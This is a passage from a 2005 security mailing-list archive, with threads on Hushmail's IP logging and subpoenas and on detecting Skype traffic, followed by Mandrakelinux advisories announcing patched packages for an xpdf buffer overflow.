ozemail.com.au Tue Jan 25 22:40:20 2005 From: chows at ozemail.com.au (Gregh) Date: Wed, 26 Jan 2005 09:40:20 +1100 Subject: [Full-Disclosure] hushmail.com, is this true? References: <20050125204356.77574.qmail@web61205.mail.yahoo.com><023101c50327$f9a8bc00$0200020a@jamesnew> <200501252213.j0PMDA9Y009426@turing-police.cc.vt.edu> Message-ID: <001101c5032e$d9c284f0$6500a8c0@p43400> ----- Original Message ----- From: To: "james edwards" Cc: Sent: Wednesday, January 26, 2005 9:13 AM Subject: Re: [Full-Disclosure] hushmail.com, is this true? > > On Tue, 25 Jan 2005 14:51:07 MST, james edwards said: > > No business can ignore a judges orders to produce whatever required > > information. > > The business can contest the request but if it is proven out the information > > must be produced. > So tell me - what do you do when you get served a subpoena requesting all > your records regarding the development of a specified drug by Pfeizer? > Oh. You never *had* those records, because you don't keep them? I see.... ;) > They can't force you to produce information you can prove you don't have... Sorry for requoting in it's entirety but I couldn't find a way to snip that missed vital info if someone starts reading at this point. My question to you, Valdis, is how the heck can you prove something DOESN'T exist such as a record? You would have to prove that whatever it is, I.T. related or even drug company drugs related, that you didn't keep records for all similar things and then that would not be believed anyway. You could, however, produce faked records supporting anything you want these days. Give a reasonable (not great) web site builder an official looking domain name and 5 minutes and that person can be making the most outlandish statements from a web site that shows itself looking respectable. The only true way an investigator has of proving a point is their own ability to judge a situation, the people and their knowledge of the field they investigate. "Trust me". :) Greg. From iago at valhallalegends.com Tue Jan 25 22:53:27 2005 From: iago at valhallalegends.com (Ron) Date: Tue, 25 Jan 2005 16:53:27 -0600 Subject: [Full-Disclosure] hushmail.com, is this true? In-Reply-To: <023101c50327$f9a8bc00$0200020a@jamesnew> References: <20050125204356.77574.qmail@web61205.mail.yahoo.com> <023101c50327$f9a8bc00$0200020a@jamesnew> Message-ID: <41F6CDE7.5000605@valhallalegends.com> They can't produce information that doesn't exist, which begs the questions: do they log your ip address? >No business can ignore a judges orders to produce whatever required >information. >The business can contest the request but if it is proven out the information >must be produced. > > > From temp739 at yahoo.com Tue Jan 25 22:58:50 2005 From: temp739 at yahoo.com (Pseudo Nym) Date: Tue, 25 Jan 2005 14:58:50 -0800 (PST) Subject: [Full-Disclosure] hushmail.com, is this true? In-Reply-To: <200501252213.j0PMDA9Y009426@turing-police.cc.vt.edu> Message-ID: <20050125225850.78246.qmail@web61202.mail.yahoo.com> This is from an earlier e-mail I drafted but did not send: "ah hah, I made another mistake. I meant Etaoin instead of Atte in my last e-mail. Thank you Etaoin, I'm VERY glad to here that you know people who do or who have worked there. That's very comforting. Anyone else got anything?" and again, Valdis is correct. Hushmail isn't claiming they won't hand over their logs, they're claiming they aren't *making* them, rendering their logs useless if seized through a court order. That is a fairly substantial claim for a free e-mail service which is why I'm investigating it. --- Valdis.Kletnieks at vt.edu wrote: > On Tue, 25 Jan 2005 14:51:07 MST, james edwards > said: > > > No business can ignore a judges orders to produce > whatever required > > information. > > The business can contest the request but if it is > proven out the information > > must be produced. > > So tell me - what do you do when you get served a > subpoena requesting all > your records regarding the development of a > specified drug by Pfeizer? > > Oh. You never *had* those records, because you don't > keep them? I see.... ;) > > They can't force you to produce information you can > prove you don't have... __________________________________ Do you Yahoo!? Read only the mail you want - Yahoo! Mail SpamGuard. http://promotions.yahoo.com/new_mail From hackerwacker at cybermesa.com Tue Jan 25 22:58:56 2005 From: hackerwacker at cybermesa.com (james edwards) Date: Tue, 25 Jan 2005 15:58:56 -0700 Subject: [Full-Disclosure] hushmail.com, is this true? References: <20050125204356.77574.qmail@web61205.mail.yahoo.com> <023101c50327$f9a8bc00$0200020a@jamesnew> <41F6CDE7.5000605@valhallalegends.com> Message-ID: <029301c50331$72e9e860$0200020a@jamesnew> > They can't produce information that doesn't exist, which begs the > questions: do they log your ip address? It is a pointless question. From sil at infiltrated.net Tue Jan 25 23:20:43 2005 From: sil at infiltrated.net (J. Oquendo) Date: Tue, 25 Jan 2005 18:20:43 -0500 (EST) Subject: [Full-Disclosure] RE: hushmail.com, is this true? Message-ID: On Tue, 25 Jan 2005, james edwards wrote: > No business can ignore a judges orders to produce whatever required > information. The business can contest the request but if it is proven > out the information must be produced. You're assuming here. A US Judge has no juridstiction over a company in another country and vice versa, so even if some US Judge attempted to subpoena Hush Communications, Hush can pretty much turn around and tell that judge to piss off. On the other hand though, with the United States' Gestapo'ish system of "law", countries do tend to comply with each other on certain occasions. You know... "Osama is using your email services, we need to see logfiles" (remember kids terrorism is the root of all evil). Whether or not Hush decides to cooperate is a matter of legal finagling between them and authorities. As for the retention of log records, I have not bothered to peruse their site so unless someone can find where they explicitly state they do not retain log records, then you could be sure they do keep records. Whether they give those records to LEA's is something only they could answer, whether they are being truthful about it or not, is yet another story. > Any system that relies on just one free service to ensure privacy is > useless. To a degree. There isn't any message I can think of in this world that would require such "uber" protection. If it were "that" important I know I would disclose it only via word of mouth as opposed to using any form of digital communication. Again, if it were that important. If I needed to be a pain I would do something anal like PGP the message twice, send it through SpamMimic (http://www.spammimic.com/), embed it in a picture with some steg program, re-PGP it then send using multiple proxies. Of course now I would not waste my time with such nonsense, but I do agree on the "one security model does not fit all" bandwagonese(bushism). =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ J. Oquendo GPG Key ID 0x51F9D78D Fingerprint 2A48 BA18 1851 4C99 CA22 0619 DB63 F2F7 51F9 D78D http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x51F9D78D sil @ politrix . org http://www.politrix.org sil @ infiltrated . net http://www.infiltrated.net "How a man plays the game shows something of his character - how he loses shows all" - Mr. Luckey From sil at infiltrated.net Tue Jan 25 23:32:29 2005 From: sil at infiltrated.net (J. Oquendo) Date: Tue, 25 Jan 2005 18:32:29 -0500 (EST) Subject: [Full-Disclosure] Re: hushmail.com, is this true? Message-ID: > They can't force you to produce information you can prove you don't have... Actually, I believe the Sarbanes Oxley Act requires companies keep records for a period of time. Not sure the entire specifics of this but I'm sure if you wanted to quote me on this you could (http://tinyurl.com/542n3) Outside of this argument (records), I'm willing to be for security purposes though, Hushmail is keeping tabs on who is doing what. That would be logical provided that they are security based and I would hope would keep tabs on connections should someone infiltrate their network. "Gee we were pwned but we don't know by whom because we don't keep records or tabs on ANYONE!" Sound kosher? I doubt they're not keeping tabs on someone. Aside from this, just because they are keeping tabs on someone's account information (regarding the IP connections they are coming from), it becomes a different story when an account is being accessed by proxies all over the world. Hell with all the botnet machines around, a lawyer defending someone on trial could throw this into the mix due to the fact that it would be difficult to pinpoint so and so due to the fact that so many connections have been made from differing locations. Of course the lawyer would have to have enough of a clue to do so, but even then with so much crapaganda from the US government, hell any government for that matter, and due to the fact governments have deeper pockets than anyone, a defendant would get pounded with other crappy technicalities. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ J. Oquendo GPG Key ID 0x51F9D78D Fingerprint 2A48 BA18 1851 4C99 CA22 0619 DB63 F2F7 51F9 D78D http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x51F9D78D sil @ politrix . org http://www.politrix.org sil @ infiltrated . net http://www.infiltrated.net "How a man plays the game shows something of his character - how he loses shows all" - Mr. Luckey From sil at infiltrated.net Tue Jan 25 23:56:48 2005 From: sil at infiltrated.net (J. Oquendo) Date: Tue, 25 Jan 2005 18:56:48 -0500 (EST) Subject: [Full-Disclosure] Hushmail logging (nail in the coffin) Message-ID: Does Hush track IP addresses of visitors or address holders? Hushmail.com does log IP addresses to analyze market trends and gather broad demographic information for aggregate use. However, Hushmail.com will never log your IP address in such a way that it can be associated with your Hushmail email address or identity. The procedure does NOT affect the anonymity of the user at any stage http://www.hushmail.com/help-faqs2#logipaddressesofpeopleloggingin =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ J. Oquendo GPG Key ID 0x51F9D78D Fingerprint 2A48 BA18 1851 4C99 CA22 0619 DB63 F2F7 51F9 D78D http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x51F9D78D sil @ politrix . org http://www.politrix.org sil @ infiltrated . net http://www.infiltrated.net =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ J. Oquendo GPG Key ID 0x51F9D78D Fingerprint 2A48 BA18 1851 4C99 CA22 0619 DB63 F2F7 51F9 D78D http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x51F9D78D sil @ politrix . org http://www.politrix.org sil @ infiltrated . net http://www.infiltrated.net "How a man plays the game shows something of his character - how he loses shows all" - Mr. Luckey From alain at ait.ac.th Wed Jan 26 02:54:05 2005 From: alain at ait.ac.th (Alain Fauconnet) Date: Wed, 26 Jan 2005 09:54:05 +0700 Subject: [Full-Disclosure] blocking SkyPE? In-Reply-To: <20050125180602.ACF0025C00B@mail.nettracers.com> References: <20050125120429.GE23798@ait.ac.th> <20050125180602.ACF0025C00B@mail.nettracers.com> Message-ID: <20050126025405.GD9139@ait.ac.th> Bryan, On Tue, Jan 25, 2005 at 10:05:42AM -0800, lists-security at nettracers.com wrote: > > >I think that this may trigger on the regular HTTP request that SkyPE does > at > >start up (and only then). This checks the SkyPE web site for updates. This > is > >also what the available Snort signature trigger on, simply because it's the > only >kind of traffic that has a recognizable signature. > >How many hits do you have for a given client IP on this rule? If it's > really > >triggering on VoIP traffic, you should get many per second. > > I am getting 3-10 hits per second for any active system running this, > example: > > 91 detected 09:06:35 p2p: skype,[Reference: > http://www.fortinet.com/ids/ID109051909] 80 4048 6 > 92 detected 09:06:29 p2p: skype,[Reference: > http://www.fortinet.com/ids/ID109051909] 4048 80 6 > 93 detected 09:06:13 p2p: skype,[Reference: > http://www.fortinet.com/ids/ID109051909] 4048 80 6 > 94 detected 09:06:06 p2p: skype,[Reference: > http://www.fortinet.com/ids/ID109051909] 80 4048 6 > 95 detected 09:04:11 p2p: skype,aggregated 3 > times,[Reference: http://www.fortinet.com/ids/ID109051909] 80 4048 > 6 > 96 detected 09:04:05 p2p: skype,[Reference: > http://www.fortinet.com/ids/ID109051909] 4048 80 6 > 97 detected 09:03:36 p2p: skype,[Reference: > http://www.fortinet.com/ids/ID109051909] 80 4048 6 > 98 detected 09:03:29 p2p: skype,[Reference: > http://www.fortinet.com/ids/ID109051909] 4048 80 6 > 99 detected 09:02:08 p2p: skype,[Reference: > http://www.fortinet.com/ids/ID109051909] 4048 80 6 Uh, OK, if all this is for the same client, then I stand corrected and your VoIP traffic is going over port 80 obviously. The Fortinet folks therefore appear to have found reliable signatures to catch SkyPE's VoIP traffic. Congratulations to them! I'll ask a quotation, but I doubt that I can get the budget for this stuff :-( > The plan is to shape the entire users system to throttle to a lower priority > or a and/or limited bandwidth or full block when any p2p policy abuse is > detected. Let me rephrase this: once you detect any kind of P2P traffic from a given client, you'd throttle down all kind of traffic from/to that IP, do I understand correctly? > Since you can't tell which traffic is which, just relegate that > user to 9600 bps (BOFH solution). Kind of, yes :-) But well, sometimes they're the right ones! > The skype encryption and traffic should > be able to be mathematically characterized and classified without having to > decrypt...a fun project to work on perhaps... Certainly. Been trying myself, not much progress so far. I'm sure that guys smarter than me have worked on this. Greets, _Alain_ From measl at mfn.org Wed Jan 26 03:34:09 2005 From: measl at mfn.org (J.A. Terranson) Date: Tue, 25 Jan 2005 21:34:09 -0600 (CST) Subject: [Full-Disclosure] Email Privacy (was hushmail.com, is this true?) In-Reply-To: <023101c50327$f9a8bc00$0200020a@jamesnew> References: <20050125204356.77574.qmail@web61205.mail.yahoo.com> <023101c50327$f9a8bc00$0200020a@jamesnew> Message-ID: <20050125213300.N61476@ubzr.zsa.bet> If you are really serious about one-way, non-traceable email, google for "mixmaster". -- Yours, J.A. Terranson sysadmin at mfn.org 0xBD4A95BF Civilization is in a tailspin - everything is backwards, everything is upside down- doctors destroy health, psychiatrists destroy minds, lawyers destroy justice, the major media destroy information, governments destroy freedom and religions destroy spirituality - yet it is claimed to be healthy, just, informed, free and spiritual. We live in a social system whose community, wealth, love and life is derived from alienation, poverty, self-hate and medical murder - yet we tell ourselves that it is biologically and ecologically sustainable. The Bush plan to screen whole US population for mental illness clearly indicates that mental illness starts at the top. Rev Dr Michael Ellner From shrdlu at deaddrop.org Wed Jan 26 04:47:11 2005 From: shrdlu at deaddrop.org (Etaoin Shrdlu) Date: Tue, 25 Jan 2005 20:47:11 -0800 Subject: [Full-Disclosure] Email Privacy (was hushmail.com, is this true?) In-Reply-To: <20050125213300.N61476@ubzr.zsa.bet> References: <20050125204356.77574.qmail@web61205.mail.yahoo.com> <023101c50327$f9a8bc00$0200020a@jamesnew> <20050125213300.N61476@ubzr.zsa.bet> Message-ID: <41F720CF.8030602@deaddrop.org> J.A. Terranson wrote: >If you are really serious about one-way, non-traceable email, google for >"mixmaster". > Last I looked, I would have recommended that you start here. http://freedom.gmsociety.org/ (George Mason Society Freedom Project) On the other hand, I suspect that hushmail does not keep the type of logs you are thinking of. As I recall, most anonymizing places keep less than 24 hours worth of logs, if that (just enough to debug with). Nature of the beast, and all that. -- "Remember you told me to tell you when you were acting rudely and insensitively? Remember that? You're doing it right now." from Wargames From security at linux-mandrake.com Wed Jan 26 04:38:49 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Tue, 25 Jan 2005 21:38:49 -0700 Subject: [Full-Disclosure] MDKSA-2005:016 - Updated gpdf packages fix buffer overflow vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: gpdf Advisory ID: MDKSA-2005:016 Date: January 25th, 2005 Affected versions: 10.0, 10.1, Corporate Server 3.0 ______________________________________________________________________ Problem Description: A buffer overflow vulnerability was discovered in the xpdf PDF code, which could allow for arbitrary code execution as the user viewing a PDF file. The vulnerability exists due to insufficient bounds checking while processing a PDF file that provides malicious values in the /Encrypt /Length tag. Gpdf uses xpdf code and is susceptible to the same vulnerability. The updated packages have been patched to prevent these problems. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: fa03ef1a1d5a1784298d890e8cf09bd2 10.0/RPMS/gpdf-0.112-2.5.100mdk.i586.rpm dc1ff1ca81d1148e7524b3a53fe68197 10.0/SRPMS/gpdf-0.112-2.5.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 76dcd6cc6c50b284371ae17eef7112e1 amd64/10.0/RPMS/gpdf-0.112-2.5.100mdk.amd64.rpm dc1ff1ca81d1148e7524b3a53fe68197 amd64/10.0/SRPMS/gpdf-0.112-2.5.100mdk.src.rpm Mandrakelinux 10.1: 56154e1310488f9ba89004a979ee3393 10.1/RPMS/gpdf-0.132-3.4.101mdk.i586.rpm 391b99e6a4f37385493acde18209f85c 10.1/SRPMS/gpdf-0.132-3.4.101mdk.src.rpm Mandrakelinux 10.1/X86_64: e1ddd99a172f76393693e25f1a302a17 x86_64/10.1/RPMS/gpdf-0.132-3.4.101mdk.x86_64.rpm 391b99e6a4f37385493acde18209f85c x86_64/10.1/SRPMS/gpdf-0.132-3.4.101mdk.src.rpm Corporate Server 3.0: 14b33a6547cf218481ba22a1ebd21b16 corporate/3.0/RPMS/gpdf-0.112-2.5.C30mdk.i586.rpm 9fc41a46a4398ece01b369547aac6125 corporate/3.0/SRPMS/gpdf-0.112-2.5.C30mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB9x7YmqjQ0CJFipgRAj/FAKDoY5+yEECJleVOuKCbYBu4nQGY7ACfZvPh ooFA6uKXZH4Ge50FCiFepfQ= =WJ8c -----END PGP SIGNATURE----- From security at linux-mandrake.com Wed Jan 26 04:41:51 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Tue, 25 Jan 2005 21:41:51 -0700 Subject: [Full-Disclosure] MDKSA-2005:017 - Updated xpdf packages fix buffer overflow vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: xpdf Advisory ID: MDKSA-2005:017 Date: January 25th, 2005 Affected versions: 10.0, 10.1, Corporate Server 2.1, Corporate Server 3.0 ______________________________________________________________________ Problem Description: A buffer overflow vulnerability was discovered in the xpdf PDF viewer, which could allow for arbitrary code execution as the user viewing a PDF file. The vulnerability exists due to insufficient bounds checking while processing a PDF file that provides malicious values in the /Encrypt /Length tag. The updated packages have been patched to prevent these problems. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: 8fe688c70f2d61ff8750e21f75eebeb3 10.0/RPMS/xpdf-3.00-5.4.100mdk.i586.rpm 1990c8a678ea40233f5dc12c3a503fa2 10.0/SRPMS/xpdf-3.00-5.4.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 661d716961ace2071ec87bedb51811da amd64/10.0/RPMS/xpdf-3.00-5.4.100mdk.amd64.rpm 1990c8a678ea40233f5dc12c3a503fa2 amd64/10.0/SRPMS/xpdf-3.00-5.4.100mdk.src.rpm Mandrakelinux 10.1: 5eb526adbcae9193ce09fa06724215c3 10.1/RPMS/xpdf-3.00-7.3.101mdk.i586.rpm 5eb526adbcae9193ce09fa06724215c3 10.1/SRPMS/xpdf-3.00-7.3.101mdk.i586.rpm Mandrakelinux 10.1/X86_64: 62c8956238470dde55e328c2d397e276 x86_64/10.1/RPMS/xpdf-3.00-7.3.101mdk.x86_64.rpm 5eb526adbcae9193ce09fa06724215c3 x86_64/10.1/SRPMS/xpdf-3.00-7.3.101mdk.i586.rpm Corporate Server 2.1: e890707f2e00fd17a06ff2fb6545b5dd corporate/2.1/RPMS/xpdf-1.01-4.8.C21mdk.i586.rpm b3a3a37961c14abe80eda3d170ab3550 corporate/2.1/SRPMS/xpdf-1.01-4.8.C21mdk.src.rpm Corporate Server 2.1/x86_64: 2d48f20adea08eb27f25469cf66d4be8 x86_64/corporate/2.1/RPMS/xpdf-1.01-4.8.C21mdk.x86_64.rpm b3a3a37961c14abe80eda3d170ab3550 x86_64/corporate/2.1/SRPMS/xpdf-1.01-4.8.C21mdk.src.rpm Corporate Server 3.0: 681b0e2029b8d4e468e4e94d9f76d0f7 corporate/3.0/RPMS/xpdf-3.00-5.4.C30mdk.i586.rpm ab09023403f50e92c11ea277e9819f8a corporate/3.0/SRPMS/xpdf-3.00-5.4.C30mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB9x+PmqjQ0CJFipgRAlskAKCCsgFtV+o1KtsOeLf0YLtDxdjhxACgwrdP RGEHccMqOAVDKyoU4irPYoE= =8AyJ -----END PGP SIGNATURE----- From security at linux-mandrake.com Wed Jan 26 04:44:55 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Tue, 25 Jan 2005 21:44:55 -0700 Subject: [Full-Disclosure] MDKSA-2005:018 - Updated cups packages fix buffer overflow vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: cups Advisory ID: MDKSA-2005:018 Date: January 25th, 2005 Affected versions: 10.0, 10.1, 9.2, Corporate Server 2.1, Corporate Server 3.0 ______________________________________________________________________ Problem Description: A buffer overflow vulnerability was discovered in the xpdf PDF code, which could allow for arbitrary code execution as the user viewing a PDF file. The vulnerability exists due to insufficient bounds checking while processing a PDF file that provides malicious values in the /Encrypt /Length tag. Cups uses xpdf code and is susceptible to the same vulnerability. The updated packages have been patched to prevent these problems. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: 379232c587543df84bed0b06a1b4a544 10.0/RPMS/cups-1.1.20-5.6.100mdk.i586.rpm 9c603dd7eb08e5a5f80f2a3aff85c9a5 10.0/RPMS/cups-common-1.1.20-5.6.100mdk.i586.rpm f998f6e5f406cc6ae2c740886dd1863d 10.0/RPMS/cups-serial-1.1.20-5.6.100mdk.i586.rpm 6d1d399ec3f3d416569ba9cda9e2382b 10.0/RPMS/libcups2-1.1.20-5.6.100mdk.i586.rpm c3c84379002347e69b41b8796f2145f2 10.0/RPMS/libcups2-devel-1.1.20-5.6.100mdk.i586.rpm 7f6775df4063e8def8ea89e1463f7880 10.0/SRPMS/cups-1.1.20-5.6.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 440f9f99bc8c14e1155247f0ffb4e371 amd64/10.0/RPMS/cups-1.1.20-5.6.100mdk.amd64.rpm 9600924bc1877079fe9a1a2c1efe1b8d amd64/10.0/RPMS/cups-common-1.1.20-5.6.100mdk.amd64.rpm 08da5c993bfa65d0ecffb33f97323fb6 amd64/10.0/RPMS/cups-serial-1.1.20-5.6.100mdk.amd64.rpm d128d93e19aad698576ba74357c61249 amd64/10.0/RPMS/lib64cups2-1.1.20-5.6.100mdk.amd64.rpm 537aacfb916e98b56a01ea690a7f38b7 amd64/10.0/RPMS/lib64cups2-devel-1.1.20-5.6.100mdk.amd64.rpm 7f6775df4063e8def8ea89e1463f7880 amd64/10.0/SRPMS/cups-1.1.20-5.6.100mdk.src.rpm Mandrakelinux 10.1: c571a912d5ab00c3ab06bca8c36cdf5a 10.1/RPMS/cups-1.1.21-0.rc1.7.4.101mdk.i586.rpm 6a9d5fa3966f0f443328457eb960477e 10.1/RPMS/cups-common-1.1.21-0.rc1.7.4.101mdk.i586.rpm 3ceefe3537ad2c211e45d580f2e90795 10.1/RPMS/cups-serial-1.1.21-0.rc1.7.4.101mdk.i586.rpm 51662e88bd9fdadfc18bfa88d3ca4511 10.1/RPMS/libcups2-1.1.21-0.rc1.7.4.101mdk.i586.rpm f5ab7e3002e41b1d54975df2bbdc9592 10.1/RPMS/libcups2-devel-1.1.21-0.rc1.7.4.101mdk.i586.rpm 17445e2b920e8a912be47f3935e5f095 10.1/SRPMS/cups-1.1.21-0.rc1.7.4.101mdk.src.rpm Mandrakelinux 10.1/X86_64: 12f13a1e2cf6d610de3cb4133a25e7a7 x86_64/10.1/RPMS/cups-1.1.21-0.rc1.7.4.101mdk.x86_64.rpm cf2a20b744f80c1701dfc63659729c04 x86_64/10.1/RPMS/cups-common-1.1.21-0.rc1.7.4.101mdk.x86_64.rpm e6ec0c5b6cc7eef042c91f697cb82e46 x86_64/10.1/RPMS/cups-serial-1.1.21-0.rc1.7.4.101mdk.x86_64.rpm 572e2a932e6c6154d1f2e2dcb908c679 x86_64/10.1/RPMS/lib64cups2-1.1.21-0.rc1.7.4.101mdk.x86_64.rpm c24f5dc070481662f9a7005b37f61fd4 x86_64/10.1/RPMS/lib64cups2-devel-1.1.21-0.rc1.7.4.101mdk.x86_64.rpm 17445e2b920e8a912be47f3935e5f095 x86_64/10.1/SRPMS/cups-1.1.21-0.rc1.7.4.101mdk.src.rpm Corporate Server 2.1: 162a5512b876caf7b74f5de35b91ff54 corporate/2.1/RPMS/cups-1.1.18-2.8.C21mdk.i586.rpm 132911f013b0319957f9b10955af7f63 corporate/2.1/RPMS/cups-common-1.1.18-2.8.C21mdk.i586.rpm f31f529cdd22e863426e3ae4eb842bb6 corporate/2.1/RPMS/cups-serial-1.1.18-2.8.C21mdk.i586.rpm f433cc5ba9e84d7f079bb31d4fd34e9e corporate/2.1/RPMS/libcups1-1.1.18-2.8.C21mdk.i586.rpm e1e4e4c6a3007ff868e32a1001e9765d corporate/2.1/RPMS/libcups1-devel-1.1.18-2.8.C21mdk.i586.rpm c944a0c30ff89ef18d382e7a3d0a70d1 corporate/2.1/SRPMS/cups-1.1.18-2.8.C21mdk.src.rpm Corporate Server 2.1/x86_64: ef0e81ff6ac37918d2f8a354a772bf88 x86_64/corporate/2.1/RPMS/cups-1.1.18-2.8.C21mdk.x86_64.rpm 1d939abecc9d566ae118d800bae5a123 x86_64/corporate/2.1/RPMS/cups-common-1.1.18-2.8.C21mdk.x86_64.rpm 24c1656d01b527c8e17cc03fc9700b62 x86_64/corporate/2.1/RPMS/cups-serial-1.1.18-2.8.C21mdk.x86_64.rpm a2fa8c5e2efd2a955447bda6a1bce11b x86_64/corporate/2.1/RPMS/libcups1-1.1.18-2.8.C21mdk.x86_64.rpm 98e04e33a3446ea8a8e5cd0be0aaa6b8 x86_64/corporate/2.1/RPMS/libcups1-devel-1.1.18-2.8.C21mdk.x86_64.rpm c944a0c30ff89ef18d382e7a3d0a70d1 x86_64/corporate/2.1/SRPMS/cups-1.1.18-2.8.C21mdk.src.rpm Corporate Server 3.0: 74c49860c8ff85cce34862c6e21eb903 corporate/3.0/RPMS/cups-1.1.20-5.6.C30mdk.i586.rpm 6b350b1e9e52e8bbfec81c36aaf065a1 corporate/3.0/RPMS/cups-common-1.1.20-5.6.C30mdk.i586.rpm 30f4ac447f36cb119a6756ca2013c951 corporate/3.0/RPMS/cups-serial-1.1.20-5.6.C30mdk.i586.rpm 718182b8dc9b53839bbc5b1b36293d57 corporate/3.0/RPMS/libcups2-1.1.20-5.6.C30mdk.i586.rpm 3683688596297bdaa4178307fd8db128 corporate/3.0/RPMS/libcups2-devel-1.1.20-5.6.C30mdk.i586.rpm d00bea70d267fe48ea33af6c19942b21 corporate/3.0/SRPMS/cups-1.1.20-5.6.C30mdk.src.rpm Mandrakelinux 9.2: 3c29059ab729243b945dea6f8bbf03ca 9.2/RPMS/cups-1.1.19-10.6.92mdk.i586.rpm d8082f721bf90fbdfa5024ca078c8ac1 9.2/RPMS/cups-common-1.1.19-10.6.92mdk.i586.rpm 4465bc3ec5474678300c47248e51385c 9.2/RPMS/cups-serial-1.1.19-10.6.92mdk.i586.rpm 4ba9bbe5ca67248bef02befff75951f4 9.2/RPMS/libcups2-1.1.19-10.6.92mdk.i586.rpm 1abbf2cf8c5cd14dd80b6004bdeb4525 9.2/RPMS/libcups2-devel-1.1.19-10.6.92mdk.i586.rpm b7f7a802fb70f4e4c07f904feb3b645a 9.2/SRPMS/cups-1.1.19-10.6.92mdk.src.rpm Mandrakelinux 9.2/AMD64: 1103866f68f4460ab504990315f7979a amd64/9.2/RPMS/cups-1.1.19-10.6.92mdk.amd64.rpm ea567af43ac8d9b3393e9dfe89fc4417 amd64/9.2/RPMS/cups-common-1.1.19-10.6.92mdk.amd64.rpm b6233f53c363a5824f28029763b6f2b9 amd64/9.2/RPMS/cups-serial-1.1.19-10.6.92mdk.amd64.rpm cfe9d1a90f713e5de59dca46728284a5 amd64/9.2/RPMS/lib64cups2-1.1.19-10.6.92mdk.amd64.rpm 133935512ad4bc0b59dfa06ea15b22c7 amd64/9.2/RPMS/lib64cups2-devel-1.1.19-10.6.92mdk.amd64.rpm b7f7a802fb70f4e4c07f904feb3b645a amd64/9.2/SRPMS/cups-1.1.19-10.6.92mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB9yBHmqjQ0CJFipgRAuH7AJ9O+bn8yGMij4ZxM/bUQgpUR6wW/ACeNNx9 1Ft0o9Ce08dIy9D0kVHIgjI= =3qin -----END PGP SIGNATURE----- From security at linux-mandrake.com Wed Jan 26 04:47:58 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Tue, 25 Jan 2005 21:47:58 -0700 Subject: [Full-Disclosure] MDKSA-2005:019 - Updated koffice packages fix buffer overflow vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: koffice Advisory ID: MDKSA-2005:019 Date: January 25th, 2005 Affected versions: 10.0, 10.1, Corporate Server 3.0 ______________________________________________________________________ Problem Description: A buffer overflow vulnerability was discovered in the xpdf PDF code, which could allow for arbitrary code execution as the user viewing a PDF file. The vulnerability exists due to insufficient bounds checking while processing a PDF file that provides malicious values in the /Encrypt /Length tag. Koffice uses xpdf code and is susceptible to the same vulnerability. The updated packages have been patched to prevent these problems. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064 ______________________________________________________________________ Updated Packages: 